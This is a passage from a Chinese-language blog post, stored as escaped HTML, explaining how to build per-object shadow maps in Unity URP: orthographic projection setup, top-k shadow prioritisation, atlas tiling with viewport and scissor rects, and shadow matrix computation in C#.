class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebottom\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezNear\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezFar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eOrthoOffCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eleft\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eright\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebottom\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etop\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezNear\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ezFar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eUnity 的文档中提到\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eThe returned matrix embeds a z-flip operation whose purpose is to cancel the z-flip performed by the camera view matrix. If the view matrix is an identity or some custom matrix that doesn't perform a z-flip, consider multiplying the third column of the projection matrix (i.e. m02, m12, m22 and m32) by -1. \u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e即 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Matrix4x4.Ortho.html\"\u003e\u003ccode\u003eMatrix4x4.Ortho\u003c/code\u003e\u003c/a\u003e 和 \u003ca href=\"https://docs.unity3d.com/Packages/com.unity.mathematics@1.2/api/Unity.Mathematics.float4x4.OrthoOffCenter.html#Unity_Mathematics_float4x4_OrthoOffCenter_System_Single_System_Single_System_Single_System_Single_System_Single_System_Single_\"\u003e\u003ccode\u003efloat4x4.OrthoOffCenter\u003c/code\u003e\u003c/a\u003e 用的公式是\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\text{zNear} \\le -z \\le \\text{zFar}\n\\]\u003c/div\u003e\n\u003cp\u003e在我们的代码里对应\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n-\\text{shadowMax.z} \\le -z \\le -\\text{shadowMin.z}\n\\]\u003c/div\u003e\n\u003ch3 id=\"筛选\"\u003e筛选\u003ca class=\"headerlink\" href=\"#筛选\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e剔除之后,可能还有非常多可见的阴影,需要给它们算一个优先级,然后进一步筛选。我规定 \u003ccode\u003epriority\u003c/code\u003e 值越小,就越优先绘制,最多绘制 \u003cspan class=\"arithmatex\"\u003e\\(k\\)\u003c/span\u003e 个。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edistSq\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edistancesq\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecameraForward\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003enormalizesafe\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecameraPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epriority\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esaturate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edistSq\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"n\"\u003ee4f\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emad\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003ecosAngle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e筛选过程本质上就是,从 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 个数中找出前 \u003cspan class=\"arithmatex\"\u003e\\(k\\)\u003c/span\u003e 小元素的问题,对筛选出的 \u003cspan class=\"arithmatex\"\u003e\\(k\\)\u003c/span\u003e 个元素的顺序是没有要求的。可以维护一个大小为 \u003cspan class=\"arithmatex\"\u003e\\(k\\)\u003c/span\u003e 的大顶堆来实现,时间复杂度是 \u003cspan class=\"arithmatex\"\u003e\\(O(n \\log k)\\)\u003c/span\u003e。我取的 \u003cspan class=\"arithmatex\"\u003e\\(k=16\\)\u003c/span\u003e。\u003c/p\u003e\n\u003ch3 id=\"绘制阴影图集\"\u003e绘制阴影图集\u003ca class=\"headerlink\" href=\"#绘制阴影图集\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e根据阴影数量开一张大的 Shadow RT 作为图集,每个阴影占据其中的一块区域(tile)。绘制的时候,先算 tile 的位置,然后设置 Viewport,用 ScissorRect 加一点 padding,最后再画。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetViewProjectionMatrices\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eview\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproj\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetViewport\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eEnableScissorRect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewport\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// 绘制阴影\u003c/span\u003e\n\u003cspan class=\"n\"\u003ecmd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eDisableScissorRect\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eShadow Caster 的 Shader 直接改 URP 的就行。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"4x4 Per-Object Shadow Map Atlas\" src=\"../../../obsidian-vault/attachments/per-object-shadow-map-atlas.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e想支持 SRP Batcher 的话,要用 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Rendering.ScriptableRenderContext.DrawRenderers.html\"\u003e\u003ccode\u003eScriptableRenderContext.DrawRenderers\u003c/code\u003e\u003c/a\u003e,但它只能绘制相机里可见的物体。有些物体会投射阴影,但是它不在相机里,所以我目前使用 \u003ca href=\"https://docs.unity3d.com/ScriptReference/Rendering.CommandBuffer.DrawRenderer.html\"\u003e\u003ccode\u003eCommandBuffer.DrawRenderer\u003c/code\u003e\u003c/a\u003e 绘制阴影图。\u003c/p\u003e\n\u003ch3 id=\"设置-Shader-变量\"\u003e设置 Shader 变量\u003ca class=\"headerlink\" href=\"#设置-Shader-变量\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e因为要设置的变量太多了,就挑几个写写。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eShadow Matrix 的作用是把 World Space Position 变换成 xyzw(正交投影)。xy 是 Shadow Map 的 uv。z 是在光源空间的深度,用来和 Shadow Map 上的值比较。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetShadowMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eSystemInfo\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eusesReversedZBuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em20\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em20\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em21\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em21\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em22\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em22\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em23\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em23\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1.0f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003em_ShadowMapSizeInTile\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMatrix4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eidentity\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em00\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em11\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em22\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em03\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em13\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoneOverTileCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003em23\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0.5f\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Apply texture scale and offset to save a MAD in shader.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etextureScaleAndBias\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eprojectionMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eShadow Map Rect 是图集上某一块 tile 的 uv 范围。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetShadowMapRect\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eVector2Int\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etilePos\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// x: 